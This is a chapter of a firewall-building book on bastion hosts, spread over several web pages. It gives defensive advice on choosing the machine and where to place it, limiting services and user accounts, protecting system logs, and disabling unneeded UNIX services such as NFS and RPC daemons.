The bastion host should be something you're familiar with. You're going to end up customizing the machine and the operating system extensively; this is not the time to learn your way around a completely new system. Because a fully configured bastion host is a very restricted environment, you'll want to be able to do development for it on another machine, and it helps a great deal to be able to exchange its peripherals with other machines you own. (This is partly a hardware issue, but it doesn't do you any good to be able to plug your UNIX-formatted SCSI disk into a Macintosh SCSI chain: the hardware interoperates, but the data isn't readable.)

You need a machine that reliably offers the range of Internet services you wish to provide your users, with multiple connections simultaneously active. If your site is completely made up of MS-DOS, Windows, or Macintosh systems, you may find yourself needing some other platform (perhaps UNIX, perhaps Windows NT, perhaps something else) to use as your bastion host. You may not be able to provide or access all the services you desire through your native platform, because the relevant tools (proxy servers, packet filtering systems, or even regular servers for basic services such as SMTP and DNS) may not be available for that platform.

UNIX is the operating system that has been most popular in offering Internet services, and tools are widely available to make bastion hosts on UNIX systems. If you already have UNIX machines, you should seriously consider UNIX for your bastion host. If you have no suitable platforms for a bastion host and need to learn a new operating system anyway, we recommend you try UNIX, because that's where you'll find the largest and most extensive set of tools for building bastion hosts.

If all of your existing multiuser, IP-capable machines are something other than UNIX machines (such as VMS systems, for example), you have a hard decision to make. You can probably use a machine you are familiar with as a bastion host and get the advantages of familiarity and interchangeability. On the other hand, solid and extensive tools for building bastion hosts are not likely to be available to you, and you're going to have to improvise. You might gain some security through obscurity (don't count on it; your operating system probably isn't as obscure as you think), but you may lose as much or more if you don't have the history that UNIX-based bastion hosts offer. With UNIX, you have the advantage of learning through other people's mistakes as well as your own.

Most of this chapter assumes that you will be using some kind of UNIX machine as your bastion host; this chapter is more UNIX-centric than any other part of this book. This is because most bastion hosts are UNIX machines, and some of the details are extremely operating system dependent. The principles will be the same if you choose to use another operating system, but the details will vary considerably.

If you have a UNIX machine, which version of UNIX should you choose? Again, you want to balance what you're familiar with against which tools are available for which versions. If your site already uses one version of UNIX, you will most likely use that version. If your site has some familiarity with several versions of UNIX, and the relevant tools (discussed throughout this chapter) are available for all of them, use the least popular one that you still like. Doing so maximizes your happiness and minimizes the likelihood that attackers have precompiled ways of attacking your bastion host. If you have no UNIX familiarity, choose any version you like, provided that it is in reasonably widespread use (you don't want "Joe's UNIX, special today $9.95"). As a rule of thumb, if your chosen version of UNIX has a user's group associated with it, it's probably well-known enough to rely on.

Although UNIX vendors differ vastly in their openness about security issues, the difference in the actual security between different versions of UNIX is much smaller. Don't assume that the publicity given to security holes reflects the number of security holes; it's a more accurate reflection of the popularity of the operating system and the willingness of a vendor to admit and fix security problems. Ironically, the operating systems with the most worrisome tales may be the most secure ones, because they're the ones getting fixed.

Useful UNIX Capabilities

Every operating system has certain special capabilities or features that can be useful in building a bastion host. We can't describe all these capabilities for all systems, but we'll tell you about a few special features of UNIX because it's a common bastion host platform.

setuid/setgid

Every UNIX user has a numeric user identification (uid) in addition to his or her login name, and belongs to one or more groups of users, also identified by numbers (gids). The UNIX kernel uses the uid and the various gids of a particular user to determine what files that user has access to. Normally, UNIX programs run with the file access permissions of the user who executes the program. The setuid capability allows a program to be installed so that it always runs with the permissions of the owner of the program, regardless of which user is running the program. The setgid capability is similar; it allows the program to temporarily (while running the program) grant membership in a group to users who are not normally members of that group.

chroot

The chroot mechanism allows a program to irreversibly change its view of the filesystem by changing the program's idea of where the root of the filesystem is. Once a program chroots to a particular piece of the filesystem, that piece becomes the whole filesystem as far as the program is concerned; the rest of the filesystem ceases to exist, from the program's point of view.

Environmental modifications, such as those made by setuid/setgid and chroot, are inherited by any subsidiary processes a program starts. A common way of restricting what the programs on a bastion host can do is to run the programs under "wrapper" programs; the wrapper programs do whatever setuid/setgid, chroot, or other environmental change work is necessary, and then start the real program. chrootuid is a wrapper program for this purpose; Appendix B, Tools gives information on how to get it.

5.3.2 How Fast a Machine?

The bastion host doesn't have to be a fast machine; in fact, it's better not being especially powerful. There are several good reasons, besides cost, to make your bastion host as powerful as it needs to be to do its job, but no more so. It doesn't take much horsepower to provide the services required of the bastion host.

Many people use machines in the 2- to 5-MIPS range (for example, Sun-3, MicroVAX II, or 80386-based UNIX platforms) as their bastion hosts. This is plenty of power for an average site. The bastion host really doesn't have much work to do. What it needs to do is mostly limited by the speed of your connection to the outside world, not by the CPU speed of the bastion host itself. It just doesn't take that much of a processor to handle mail, DNS, FTP, and proxy services for a 56 Kb/s or even a T-1 (1.544 Mb/s) line. You may need more power if you are running programs that do compression/decompression (e.g., NNTP servers) or searches (e.g., full-featured WWW servers), or if you're providing proxy services for dozens of users simultaneously.

You may also need more power to support requests from the Internet if your site becomes wildly popular (e.g., if you create something that everybody and their mothers want to access, like The Great American Web Page or a popular and well-stocked anonymous FTP site).[1] At that point, you might also want to start using multiple bastion hosts, as we describe in Chapter 4. A large company with multiple Internet connections and popular services may need to use multiple bastion hosts and large, powerful machines. (Fortunately, most companies in that position are also computer manufacturers and buy computers wholesale.)

[1] If you find yourself (or want to find yourself) in such a position, see Managing Internet Information Services by Cricket Liu, et al (O'Reilly & Associates, 1994). This book contains lots of helpful information and advice.

There are several reasons not to oversize the bastion host:

  • A slower machine is a less inviting target. There's no prestige for somebody who brags, "Hey, I broke into a Sun 3/60!" or some other slow (to an attacker, at least) machine. There is far more prestige involved in breaking into the latest, greatest hardware. Don't make your bastion host something with high prestige value (a Cray, for example, would be a poor choice of a bastion host...).

  • If compromised, a slower machine is less useful for attacking internal systems or other sites. It takes longer to compile code; it's not very helpful for running dictionary or brute-force password attacks against other machines; and so on. All of these factors make the machine less appealing to potential attackers, and that's your goal.

  • A slower machine is less attractive for insiders to compromise. A fast machine that's spending most of its time waiting for a slow network connection is effectively wasted, and the pressure from your own users to use the extra power for other things (for example, as a compilation server, rendering server, or database server) can be considerable. You can't maintain the security of a bastion host while using it for other purposes. Extra capacity on the bastion host is an accident waiting to happen.

5.3.3 What Hardware Configuration?

You want a reliable hardware configuration, so you should select a base machine and peripherals that aren't the newest thing on the market. (There's a reason people call it the "bleeding edge" as well as the "leading edge.") You also want the configuration to be supportable, so don't choose something so old you can't find replacement parts for it. The middle range from your favorite manufacturer is probably about right.

While you don't need sheer CPU power, you do need a machine that keeps track of a number of connections simultaneously. This is memory-intensive, so you'll want a large amount of memory and probably a large amount of swap space as well. Caching proxies also need a large amount of free disk space to use for the caches.

Here are some suggestions about tape and disk needs:

  • The bastion host can't reasonably use another host's tape drive for backups, as we'll discuss later in this chapter, so it needs its own tape drive of a size suitable to back itself up.

  • A CD-ROM drive also comes in handy for operating system installation and possibly for keeping checksums on (or for comparing your current files to the original files on the CD-ROM). You may only need the CD-ROM drive initially when you first install and configure the machine, so an external drive that you "borrow" from another machine temporarily may be sufficient.

  • You should be able to easily add another disk temporarily to the configuration for maintenance work.

  • The boot disk should remove easily and attach to another machine - again, for maintenance work.

Both of the disk considerations mentioned suggest the bastion host should use the same type of disks as your other machines. For example, it should not be the only machine at your site running IPI disks.

The bastion host doesn't need interesting graphics, and shouldn't have them. This is a network services host; nobody needs to see it. Attach a dumb terminal (the dumber the better) to be the console. Having graphics will only encourage people to use the machine for other purposes and might encourage you to install support programs (like the X Window System and its derivatives) that are insecure.

Previous: 5.2 Special Kinds of Bastion Hosts | Building Internet Firewalls | Next: 5.4 Choosing a Physical Location
5.2 Special Kinds of Bastion Hosts | Book Index | 5.4 Choosing a Physical Location


[Chapter 5] 5.4 Choosing a Physical Location

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.3 Choosing a Machine Chapter 5
Bastion Hosts 		Next: 5.5 Locating the Bastion Host on the Network

5.4 Choosing a Physical Location

The bastion host needs to be in a location that is physically secure.[2] There are two reason for this:

  • It is impossible to adequately secure a machine against an attacker who has physical access to it; there are too many ways the attacker can compromise it.

  • The bastion host provides much of the actual functionality of your Internet connection, and if it is lost, damaged, or stolen, your site may effectively be disconnected. You will certainly lose access to at least some services.

[2] Practical UNIX Security by Simson Garfinkel and Gene Spafford (O'Reilly & Associates, second edition, 1996) contains an excellent and extensive discussion of physical security.

Never underestimate the power of human stupidity. Even if you don't believe that it's worth anyone's time and trouble to get physical access to the machine in order to break into it, secure it to prevent well-meaning people within your organization from inadvertently making it insecure or nonfunctional.

Your bastion host should be in a locked room, with adequate air conditioning and ventilation. If you provide uninterruptible power for your Internet connection, be sure to provide it for the bastion host as well.

Previous: 5.3 Choosing a Machine | Building Internet Firewalls | Next: 5.5 Locating the Bastion Host on the Network
5.3 Choosing a Machine | Book Index | 5.5 Locating the Bastion Host on the Network


[Chapter 5] 5.5 Locating the Bastion Host on the Network

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.4 Choosing a Physical Location Chapter 5
Bastion Hosts 		Next: 5.6 Selecting Services Provided by the Bastion Host

5.5 Locating the Bastion Host on the Network

The bastion host should be located on a network that does not carry confidential traffic, preferably a special network of its own.

Most Ethernet and token ring interfaces can operate in "promiscuous mode" In this mode, they are able to capture all packets on the network the interfaces are connected to, rather than just those packets addressed to the particular machine the interface is a part of. Other types of network interfaces, such as FDDI, may not be able to capture all packets, but depending on the network architecture, they can usually capture at least some packets not specifically addressed to them.

This capability has a useful purpose: for network analysis, testing, and debugging, e.g., by programs like etherfind and tcpdump. Unfortunately, it can also be used by an intruder to snoop on all traffic on a network segment. This traffic might include Telnet, FTP, or rlogin sessions (from which logins and passwords can be captured), confidential email, NFS accesses of sensitive files, and so on. You need to assume the worst: the bastion host can be compromised. If it is compromised, you don't want the bastion host to snoop on this traffic.

One way to approach the problem is to not put the bastion host on an internal network; instead, put it on a perimeter network. As we've discussed in earlier chapters, a perimeter network is an additional layer of security between your internal network and the Internet. The perimeter network is separated from the internal network by a router or bridge. Internal traffic stays on the internal net and is not visible on the perimeter net. All the bastion host on a perimeter network can see are packets that are either to or from itself, or to or from the Internet. Although this traffic might still be somewhat sensitive, it's likely to be a lot less sensitive than your typical internal network traffic, and there are other places (for instance, your Internet service provider) that can already see much of it.

Using a perimeter net with a packet filtering router between it and the internal network gives you some additional advantages. It further limits your exposure, if the bastion host is compromised, by reducing the number of hosts and services the bastion host can access.

If you can't put the bastion host on a perimeter network, you might consider putting it on a network that's not susceptible to snooping. For example, you might put it on an intelligent 10baseT hub, an Ethernet switch, or an ATM network. If you do only this, you need to take additional care to make sure that nothing trusts the bastion host, because there's no further layer of protection between it and the internal network. Using such a network technology for your perimeter network is the best of both worlds: the bastion host is isolated from internal systems (as with a traditional perimeter network) but can't snoop on traffic on the perimeter network.

Previous: 5.4 Choosing a Physical Location | Building Internet Firewalls | Next: 5.6 Selecting Services Provided by the Bastion Host
5.4 Choosing a Physical Location | Book Index | 5.6 Selecting Services Provided by the Bastion Host


[Chapter 5] 5.6 Selecting Services Provided by the Bastion Host

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.5 Locating the Bastion Host on the Network Chapter 5
Bastion Hosts 		Next: 5.7 Don't Allow User Accounts on the Bastion Host

5.6 Selecting Services Provided by the Bastion Host

The bastion host provides any services your site needs to access the Internet, or wants to offer to the Internet - services you don't feel secure providing directly via packet filtering. (Figure 5.1 shows a typical set.) You should not put any services on the bastion host not intended to be used to or from the Internet. For example, it shouldn't provide booting services for internal hosts (unless, for some reason, you intend to provide booting services for hosts on the Internet). You have to assume that the bastion host will be compromised, and that all services on it will be available to the Internet.

Figure 5.1: The bastion host may run a variety of Internet services

You can divide services into four classes:

Services that are secure

Services in this category can be provided via packet filtering, if you're using this approach. (In a pure-proxy firewall, everything must be provided on the bastion host or not provided at all.)

Services that are insecure as normally provided but can be secured

Services in this category can be provided on the bastion host.

Services that are insecure as normally provided and can't be secured

These will have to be disabled and provided on a victim host (discussed above) if you absolutely need them.

Services that you don't use, or that you don't use in conjunction with the Internet

You must disable services in this category.

We'll discuss individual services in detail in Chapter 8, Configuring Internet Services, but here we cover the most commonly provided and denied services for bastion hosts.

Electronic mail (SMTP) is the most basic of the services bastion hosts normally provide. You may also want to access or provide information services such as:

  • FTP - file transfer

  • Gopher - menu-based information retrieval

  • WAIS - keyword-search information retrieval

  • HTTP - hypertext-driven information retrieval (the World Wide Web)

  • NNTP - Usenet news

In order to support any of these services (including SMTP), you must access and provide domain name service (DNS). DNS is seldom used directly, but it underlies all the other protocols by providing the means to translate hostnames to IP addresses and vice versa, as well as providing other distributed information about sites and hosts.

You may also want to provide some version of the finger service, to provide information about your site and the people at it. However, you should decide what information you want people to have, and use a modified finger daemon that provides only that. It is generally not desirable to tell the world which accounts are available on the bastion host and which are in use. Not only is this information useful to attackers, it's useless to genuine inquirers, who want to know information about your site as a whole, not about the bastion host in particular. The section on finger in Chapter 8 discusses some possible modified finger daemons.

The book Managing Internet Information Services, referenced above, has a good chapter on providing information services through finger, inetd, and Telnet. One particular technique described, that of creating "captured" or "no-break" shells, creates site-specific modified-procedure proxy services fairly easily. These services are a way for users within your network to be able to run ping or traceroute against external hosts, from a captured shell on the bastion host.

Many LAN-oriented services include vulnerabilities that attackers can exploit from outside, and all of them are opportunities for an attacker who has succeeded in compromising the bastion host. Basically, you should disable anything that you aren't going to use, and you should choose what to use very carefully.

Previous: 5.5 Locating the Bastion Host on the Network | Building Internet Firewalls | Next: 5.7 Don't Allow User Accounts on the Bastion Host
5.5 Locating the Bastion Host on the Network | Book Index | 5.7 Don't Allow User Accounts on the Bastion Host


[Chapter 5] 5.7 Don't Allow User Accounts on the Bastion Host

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.6 Selecting Services Provided by the Bastion Host Chapter 5
Bastion Hosts 		Next: 5.8 Building a Bastion Host

5.7 Don't Allow User Accounts on the Bastion Host

If at all possible, don't allow any user accounts on the bastion host. Keeping such accounts off the bastion host will give you the best security. There are several reasons why, including:

  • Vulnerabilities of the accounts themselves

  • Vulnerabilities of the services required to support the accounts

  • Reduced stability and reliability of the machine

  • Inadvertent subversion of the bastion host's security by users

  • Increased difficulty in detecting attacks

User accounts provide relatively easy avenues of attack for someone who is intent on breaking into the bastion host. Each account usually has a reusable password[3] that can be attacked through a variety of means, including dictionary searches, brute force searches, or capture by network eavesdropping. Multiply this by many users, and you have a disaster in the making.

[3] We discuss ways to support nonreusable passwords in Chapter 10, Authentication and Inbound Services.

Supporting user accounts in any useful fashion requires the bastion host to enable services (for example, printing and local mail delivery services) that could otherwise be disabled on the bastion host. Every service that is available on the bastion host provides another avenue of attack, through software bugs or configuration errors.

Having to support user accounts also can reduce the stability and reliability of the machine itself. Machines that do not support user accounts tend to run predictably and are stable. Many sites have found that machines without users tend to run pretty much indefinitely (or at least until the power fails) without crashing.

Users themselves can contribute to security problems on the bastion host. They don't (usually) do it deliberately, but they can subvert the system in a variety of ways. These range from trivial (e.g., choosing a poor password) to complex (e.g., setting up an unauthorized information server that has unknown security implications). Users are seldom trying to be malicious; they're normally just trying to get their own jobs done more efficiently and effectively.

It's usually easier to tell if everything is "running normally" on a machine that doesn't have user accounts muddying the waters. Users behave in unpredictable ways, but you want a bastion host to have a predictable usage pattern, in order to detect intrusions by watching for interruptions in the pattern.

If you need to allow user accounts on the bastion host, keep them to a minimum. Add accounts individually, monitor them carefully, and regularly verify that they're still needed.

Previous: 5.6 Selecting Services Provided by the Bastion Host | Building Internet Firewalls | Next: 5.8 Building a Bastion Host
5.6 Selecting Services Provided by the Bastion Host | Book Index | 5.8 Building a Bastion Host


[Chapter 5] 5.8 Building a Bastion Host

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.7 Don't Allow User Accounts on the Bastion Host Chapter 5
Bastion Hosts 		Next: 5.9 Operating the Bastion Host

5.8 Building a Bastion Host

Now that you've figured out what you want your bastion host to do, you need to actually build the bastion host. In order to do that, follow these steps:

  1. Secure the machine.

  2. Disable all nonrequired services.

  3. Install or modify the services you want to provide.

  4. Reconfigure the machine from a configuration suitable for development into its final running state.

  5. Run a security audit to establish a baseline.

  6. Connect the machine to the network it will be used on.

You should be very careful to make sure the machine is not accessible from the Internet until the last step. If your site isn't yet connected to the Internet, you can simply avoid turning on the Internet connection until the bastion host is fully configured. If you are adding a firewall to a site that's already connected to the Internet, you need to configure the bastion host as a standalone machine, unconnected to your network.

If the bastion host is vulnerable to the Internet while it is being built, it may become an attack mechanism instead of a defense mechanism. An intruder who gets in before you've run the baseline audit will be difficult to detect and will be well-positioned to read all of your traffic to and from the Internet. Cases have been reported where machines have been broken into within minutes of first being connected to the Internet; while rare, it can happen.

The following sections describe each of the main steps involved in building a bastion host. They also touch briefly on ongoing maintenance and protection of the bastion host; note, though, that maintenance issues are discussed primarily in Chapter 12, Maintaining Firewalls.

5.8.1 Securing the Machine

To start with, build a machine with a standard operating system, secured as much as possible. Start with a clean operating system and follow the procedures we describe in this section.

5.8.1.1 Start with a minimal clean operating system installation

Start with a clean operating system installation, straight from vendor distribution media. If you do this, you will know exactly what you're working with. You won't need to retrofit something that may already have problems. Using such a system will also make later work easier. Most vendor security patches you later obtain, as well as the vendor configuration instructions and other documentation, assume you're starting from an unmodified installation.

While you're installing the operating system, install as little as you can get away with. It's much easier to avoid installing items than it is to delete them completely later on. For that matter, once your operating system is minimally functional, it's not hard to add components if you discover you need them. Don't install any optional subsystems unless you know you will need them.

5.8.1.2 Fix all known system bugs

Get a list of known security patches and advisories for your operating system; work through them to determine which are relevant for your own particular system, and correct all of the problems described in the patches and advisories. You get this information from your vendor sales or technical support contacts, or from the user groups, newsgroups, or electronic mailing lists devoted to your particular platform.

A helpful list of contacts is available via anonymous FTP at the Firewalls mailing list archive:

ftp://ftp.greatcircle.com/pub/firewalls/vendor_security_contacts

In addition, be sure to get from the Computer Emergency Response Team Coordination Center (CERT-CC) any advisories relevant to your platform, and work through them. (For information on how to contact CERT-CC and retrieve its information, see the list of resources in Appendix A, Resources.)

5.8.1.3 Use a checklist

To be sure you don't overlook anything in securing your bastion host, use a security checklist. There are several excellent checklists around. Be sure to use one that corresponds to your own platform and operating system version.

Appendix A of Practical UNIX Security, referenced earlier, contains an extensive checklist that covers most UNIX platforms. More specific checklists for particular operating system releases are often available through the formal or informal support channels for those platforms; check with your vendor support contacts, or the user groups, newsgroups, or mailing lists that are devoted to the platform.

5.8.1.4 Safeguard the system logs

As a security-critical host, the bastion host requires considerable logging. The next step in building the bastion host is to make sure that you have a way of safeguarding the system logs for the bastion host. The system logs on the bastion host are important for two reasons:

  • They're one of the best methods of determining if your bastion host is performing as it should be. If everything the bastion host does is logged (and it should be), you should be able to examine the logs to determine exactly what it's doing and decide if that's what it's supposed to be doing. Chapter 12 describes the use of system logs in maintaining your firewall.

  • When (not if!) someday someone does successfully break in to the bastion host, the system logs are one of the primary mechanisms that determine exactly what happened. By examining the logs and figuring out what went wrong, you should be able to keep such a break-in from happening again.

Where should you put the system logs? On the one hand, you want the system logs to be somewhere convenient; you want them to be where they can be easily examined to determine what the bastion host is doing. On the other hand, you want the system logs to be somewhere safe; this will keep them from any possible tampering in case you need to use them to reconstruct an incident.

The solution to these seemingly contradictory requirements is to keep two copies of the system logs - one for convenience, the other for catastrophes.

System logs for convenience

The first copy of the system logs is the one you'll use on a regular basis to monitor the ongoing activity of the machine. These are the logs against which you run your daily and weekly automated analysis reports. You can keep these logs either on the bastion host itself or on some internal host.

The advantage of keeping them on the bastion host is simplicity: you don't have to set up logging to go to some other system, nor do you have to configure the packet filters to allow this. The advantage to keeping them on an internal host is ease of access: you don't have to go to the bastion host, which doesn't have any tools anyway, to examine the logs. Avoid logging in to the bastion host, in any case.

System logs for catastrophes

The second copy of the system logs is the one you'll use after a catastrophe. You can't use your convenience logs at a time like this. Either the convenience logs won't be available, or you won't be sure of their integrity any longer.

One of the simplest ways to create catastrophe logs is to attach a line printer to one of the bastion host's serial ports, and simply log a copy of everything to that port. There are some problems with this approach, though. First, you have to keep the printer full of paper, unjammed, and with a fresh ribbon. Second, once the logs are printed, there's not much you can do with them except look at them. Because they aren't in electronic form, you have no way to search or analyze them in an automated fashion.

A more effective way to create catastrophe logs is to connect a dedicated personal computer to a serial port on the bastion host, as a dropsafe logging device. Configure the PC in such a way that it boots up into a terminal program in "record" mode, and that every so often (every 100,000 bytes, for example), the log files are rotated and pruned so the system never runs out of disk space. In this way, anything the bastion host spits out to that serial port will be recorded on the personal computer's disk. Unless someone has physical access to the PC (the PC should not be connected to a network), the logs will remain safely out of reach. The advantage of this approach over the first method is that the data remains in electronic form. If you have to do searches and analyses on the data (after an incident, for example), you can retrieve it from the dropsafe machine.

If you have a write-once device available to you, use that device; doing so is probably technically easier, especially if your write-once device can emulate a filesystem. Be sure you can trust the write-once feature. Some magneto-optical drives are capable of both multiple-write and write-once operations, and keep track of the mode they're in via software. If the system is compromised, it may be possible to rewrite supposedly write-once media.

Some operating systems (notably BSD 4.4-Lite and systems derived from it, such as current releases of BSDI, FreeBSD, and NetBSD) support append-only files. These are not an advisable alternative to write-once media or a dropsafe machine. Even if you can trust the implementation of append-only files, the disk that they're on is itself writable, and there may be ways to access it outside of the filesystem, particularly for an intruder who wants to destroy the logs.

Figure 5.2 shows how you can connect a personal computer to your system to do logging.

Figure 5.2: Use a PC attached by a serial line to create catastrophe logs

Figure 5.2 Setting up system logs

On a UNIX system, logging is handled through syslog. The syslog daemon records log messages from various local and remote clients (programs with messages they want logged). Each message is tagged with facility and priority codes: the facility code tells syslog what general subsystem this message is from (for example, the mail system, the kernel, the printing system, the Usenet news system, etc.), and the priority code tells syslog how important the message is (ranging from debugging information and routine informational messages through several levels up to emergency information). The /etc/syslog.conf file controls what syslog does with messages, based on their facility and priority. A given message might be ignored, logged to one or more files, forwarded to the syslog daemon on another system, flashed onto the screens of certain or all users who are currently logged in, or any combination.

When you configure syslog to record messages to files, you could configure it to send all messages to a single file, or to split messages up to multiple files by facility and priority codes. If you split messages by facility and priority codes, each log file will be more coherent, but you'll have to monitor multiple files; you may have an easier time finding messages from a particular service. If you direct everything to a single file, on the other hand, you'll only have a single file to check for all messages, but that file will be much larger.

Many non-UNIX systems, particularly network devices such as routers, can be configured to log messages via syslog. If your systems have that capability, configuring them to so they all log to your bastion host provides a convenient way to collect all their messages in a single place.

Be aware that remote logging via syslog (e.g., from a router to your bastion host, or from your bastion host to some internal host) is not 100% reliable. For one thing, syslog is a UDP-based service, and the sender of a UDP packet has no way of knowing whether or not the receiver got the packet unless the receiver tells the sender (syslog daemons don't confirm receipt to their senders). For another thing, even if syslog were TCP-based, you still couldn't absolutely depend on it not to lose messages; what if the receiving system was down or otherwise unavailable? This is one reason that it's important to have a locally attached dropsafe machine to reliably capture all syslog messages.

Despite its weaknesses, though, syslog is a useful service; you should make extensive use of it.

5.8.2 Disabling Nonrequired Services

Once you've completed the basic process of securing your bastion host, go on to the next step: disabling any services that aren't absolutely necessary for the bastion host to provide.

Any service provided by the bastion host might have bugs or configuration problems that could lead to security problems. Obviously, you'll have to provide some services that users need, as long as your site's security policy allows them. But, if the service isn't absolutely necessary, don't borrow trouble by providing it. If a service isn't provided by the bastion host, you won't have to worry about possible bugs or configuration problems.

If you can live without a service, it should be turned off. It's worth suffering some inconvenience. This means that you're going to need to think very carefully about services. You'll be disabling not just services you never heard of and never used, but also services you've purposefully enabled on other machines. Look at every service and ask yourself "How could I avoid enabling this? What do I lose if I turn it off?"

5.8.2.1 How are services managed?

On UNIX machines, most services are managed in one of two ways:

  • By controlling when they start and who can use them

  • By service-specific configuration files

There are two ways services get started on UNIX systems:

  • At boot time from a machine's /etc/rc files

  • On demand by the inetd daemon (which is itself started at boot time)

A few services - for example, Sendmail - can be configured to run under either or both mechanisms.

Services started by /etc/rc files

Services in the first category are designed to run indefinitely. They are started once (when the machine boots), and they are never supposed to exit. (Of course, sometimes they do exit, either because they're killed by a system administrator, or because they trip over a bug or some other error.) Servers are written in this way if they need to handle small transactions quickly, or if they need to "remember" information. Writing them in this way avoids the delays associated with starting a new copy of the server to handle each request made to it.

Servers of this kind are started from a UNIX system's /etc/rc files, which are shell scripts executed when the machine boots. Examples of servers typically started from /etc/rc files are those that handle NFS, SMTP, and DNS. In BSD-based versions of UNIX, there are customarily a few files in /etc with names that start with "rc." (for example /etc/rc.boot). In System V-based versions of UNIX, there are customarily directories in /etc instead of files (for instance, /etc/rc.0.d); the directories contain the various startup commands, each in its own little file.

In either case, you need to be careful to look at all of the startup scripts and all of the scripts they call, recursively. Usually more than one script is run in the process of bringing a system all the way up. On modern UNIX systems, those scripts often call others, sometimes through multiple levels of indirection. For example, you may find that a startup script calls another script to start up networking, and that one calls yet another script to start up file service. You may also find that startup scripts use mystical options to familiar commands (e.g., they often run ifconfig with little-used options that cause ifconfig to pick up configuration information from obscure places). Be sure you understand these options and that you replace any that tell the machine to pick up information about itself from the network (or from services it normally provides but that you are going to turn off).

Some versions of UNIX also have an additional process started from these files that is designed to restart other servers if they fail. If such a program exists on a system, it will try to start the other servers if they are removed from the startup files but not from its configuration file. Either turn off this program or be sure to remove from the program's configuration file any servers removed from the startup files. You'll notice the program when you work through the startup files.

Services started by inetd

Some servers are designed to be started "on demand," and to exit after they provide the requested service. Such servers are typically used for services that are requested infrequently; for services that aren't sensitive to delays in starting a new server from scratch; and for services that require a new server process to deal with each request (for example, Telnet or FTP sessions, where a separate server is used for each active session).

Servers of this kind are usually run from the inetd server. (The inetd server itself, because it runs indefinitely, is started from the /etc/rc files, as described in the previous section.) The inetd server listens for requests for services specified in the /etc/inetd.conf configuration file. When it hears such a request, it starts the right server to process the request.

5.8.2.2 How to disable services

If you disable a critical service, you must first make certain you have a way to boot the machine. This could be a second hard disk with a full root partition on it or a CD-ROM drive with the operating system install disk. You need to be ruthless; if you delete the wrong thing and can't reboot, at best you're going to be over-cautious about deleting things, and at worst you're going to end up with an unusable computer.

Second, you must save a clean copy of every file before you modify it. Even when you're just commenting things out, every so often your fingers slip, and you delete something you didn't mean to, or you change a critical character.

Once you've taken these precautions, walk through the startup files for your system, line by line, making sure you know exactly what each line does - including the command line options - and commenting out or deleting the lines that start services you don't need. In a perfect world, you would comment out every line, and then uncomment or rewrite the ones you need. Unfortunately, if you do this and the machine crashes in the middle, it will not reboot. It's rather a lot of trouble for a small increase in security over merely commenting out with a very free hand.

You will frequently see services that are started after a check for some configuration file. If you don't want the service to run, comment out the entire code block. Don't leave the code active simply because the configuration file doesn't currently exist and the service won't currently be started. Someone or something might create the configuration file some time in the future. Commenting out the entire thing is more secure and less risky.

Commenting out lines is preferable to removing them, because it leaves evidence of your intent. When you comment something out, add a comment about why you have commented it out. If you delete something, replace it with a comment about why you have deleted it. Make sure that the next person to look at the files knows that you got rid of things on purpose and doesn't helpfully "fix" it for you. If you comment out a call to another script, add a comment in that script indicating that it's not supposed to be started, and why. Renaming it or commenting out its contents are also good ways to help ensure that it won't accidentally reappear.

For every service that you leave enabled, apply the same line-by-line procedure to the service's configuration files. Obviously, you want to pay particular attention to inetd's configuration file. On most systems, this file is called /etc/inetd.conf. (On other systems, this file might be called /etc/servers or something else; check your manual pages for inetd). If you have a daemon-watcher and have decided to leave it on, its configuration files are also particularly important.

In general, you'll need to reboot your machine after you have changed the configuration files. The changes won't take effect until you do so.

After you have rebooted and tested the machine, and you are comfortable that the machine works without the disabled services, you may want to remove the executables for those services. If the executables are lying around, they may be started by somebody - if not you, some other system administrator, or an intruder. A few services may even be executable by nonroot users if they use nonstandard ports.

If you feel uncertain about removing executables, consider encrypting them instead. Do not use the standard UNIX crypt program; the encryption algorithm it uses is little more than a toy and can be trivially broken. Instead, use a more secure encryption program like snuffle or something that uses the DES or IDEA algorithm. Choose a secure key; if you forget the key, you're no worse off than if you'd deleted the files, but if an intruder gets the key, you're considerably worse off.

5.8.2.3 Which services should you leave enabled?

Certain services are essential to the operation of the machine, and you'll probably need to leave these enabled, no matter what else the machine is configured to do. On a UNIX system, these processes include:

init, swap, and page

The three kernel pseudo-processes used to manage all other processes

cron

Runs other jobs at fixed times, for housekeeping and so on

syslogd

Collects and records log messages from the kernel and other daemons

inetd

Starts network servers (such as telnetd and ftpd) when such services are requested by other machines

In addition, you'll obviously need server processes for the services that you've decided to provide on your bastion host, e.g., real or proxy Telnet, FTP, SMTP, and DNS servers.

5.8.2.4 Which services should you disable?

You will want to disable all services except the ones you have decided to provide, and the supporting services necessary for those to run, as described above. You may not always know which services are the required support services, particularly because UNIX names tend to be cryptic and uninformative.

How do you know which services to disable?

There are three simple rules to apply:

  • If you don't need it, turn it off.

  • If you don't know what it does, turn it off (you probably didn't need it anyway).

  • If turning it off causes problems, you now know what it does, and you can either turn it back on again (if it's really necessary) or figure out how to do without it.

NFS and related services

Start with NFS and related network services. You aren't going to need these. No internal machine should trust your bastion host enough to let the bastion host mount the internal machine's disks via NFS. Besides that, there probably won't be anything on the bastion host that you'll want to export via NFS. NFS is very convenient, but it's incredibly insecure.

NFS services are provided by a whole set of servers; the specific set of servers, and the names of the individual servers, varies slightly from one version of UNIX to the next. Look for these names or names like them:

  • nfsd

  • biod

  • mountd

  • statd

  • lockd

  • automount

  • keyserv

  • rquotad

  • amd

Most of these services are started at boot time from the /etc/rc files, although some are started on demand by inetd. mountd is somewhat peculiar in that it is often started at boot time and is listed in the inetd configuration file, apparently so that it will be restarted if for some reason the copy that was started at boot time crashes.

Other RPC services

You should also disable other services based on the Remote Procedure Call (RPC) system. The most critical of these is NIS/YP, a service which is provided by the following servers:

  • ypserv

  • ypbind

  • ypupdated

These servers are generally started at boot time from the /etc/rc files.

Also disable these RPC-based services:

  • rexd (the remote execution service, started by inetd)

  • walld (the "write all", or wall daemon, started by inetd)

